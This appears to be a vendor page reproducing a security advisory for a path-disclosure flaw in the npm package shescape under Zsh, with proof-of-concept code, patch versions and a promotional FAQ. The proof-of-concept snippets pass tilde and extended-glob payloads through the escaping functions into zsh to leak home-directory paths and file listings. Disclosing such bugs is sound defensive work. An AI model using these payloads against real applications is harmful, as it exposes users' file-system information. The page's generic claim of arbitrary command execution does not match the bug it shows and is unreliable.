GHSA-6V4M-FW66-8R4X

Shescape: Path disclosure on Unix with Zsh

import * as cp from "node:child_process";
import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
    shell: "zsh",
    // Or
    shell: true, // Only if the default shell is Zsh
};

// 2. Payload
const payload1 = ":~";
// Or
const payload2 = "a=~"; // requires MAGIC_EQUAL_SUBST

// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;

escapedPayload = shescape.escape(payload1);
// Or
escapedPayload = shescape.escapeAll([payload1]);
// And (example)
const result1 = cp.execSync(`V=${escapedPayload}; echo $V`, options);

// Or
escapedPayload = shescape.escape(payload2);
// Or
escapedPayload = shescape.escapeAll([payload2]);
// And (example)
const result2 = cp.execSync(`echo ${escapedPayload}`, options);

// 4. Impact
console.log("", result1.toString().trim(), "\n", result2.toString().trim());
// Outputs ":" followed by the user's home directory on one line and "a="
// followed by the user's home directory (under MAGIC_EQUAL_SUBST) on the next.

import * as cp from "node:child_process";
import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
    shell: "zsh",
    // Or
    shell: true, // Only if the default shell is Zsh
};

// And (example)
// `setopt EXTENDED_GLOB` in ~/.zshenv

// 2. Payload
let payload;

payload = "pa#ckage.json";
// Or
payload = "^package.json~package-lock.json";
// Or
payload = "^nonexistent";

// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;

escapedPayload = shescape.escape(payload);
// Or
escapedPayload = shescape.escapeAll([payload]);

// And (example)
const result = cp.execSync(`echo ${escapedPayload}`, options);

// 4. Impact
console.log(result.toString());
// Outputs files and directories in the current directory

This impacts users of Shescape on Unix systems that explicitly configure shell to Zsh, or true when the default shell is Zsh, using the escape and escapeAll. The Zsh options EXTENDED_GLOB and MAGIC_EQUAL_SUBST exacerbate the problem.

In certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

Kodem intelligence

Already deployed Kodem?

This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.

If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.

No patches will be released for version of Shescape lower than v2.0.0.

1. What is GHSA-6V4M-FW66-8R4X? GHSA-6V4M-FW66-8R4X is a medium-severity OS command injection vulnerability in shescape (npm), affecting versions < 2.1.14. It is fixed in 2.1.14, 3.0.1. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. Which versions of shescape are affected by GHSA-6V4M-FW66-8R4X? shescape (npm) versions < 2.1.14 is affected.
3. Is there a fix for GHSA-6V4M-FW66-8R4X? Yes. GHSA-6V4M-FW66-8R4X is fixed in 2.1.14, 3.0.1. Upgrade to this version or later.
4. Is GHSA-6V4M-FW66-8R4X exploitable, and should I be worried? Whether GHSA-6V4M-FW66-8R4X is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether GHSA-6V4M-FW66-8R4X is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix GHSA-6V4M-FW66-8R4X?
   • Upgrade shescape to 2.1.14 or later
   • Upgrade shescape to 3.0.1 or later

Other vulnerabilities in shescape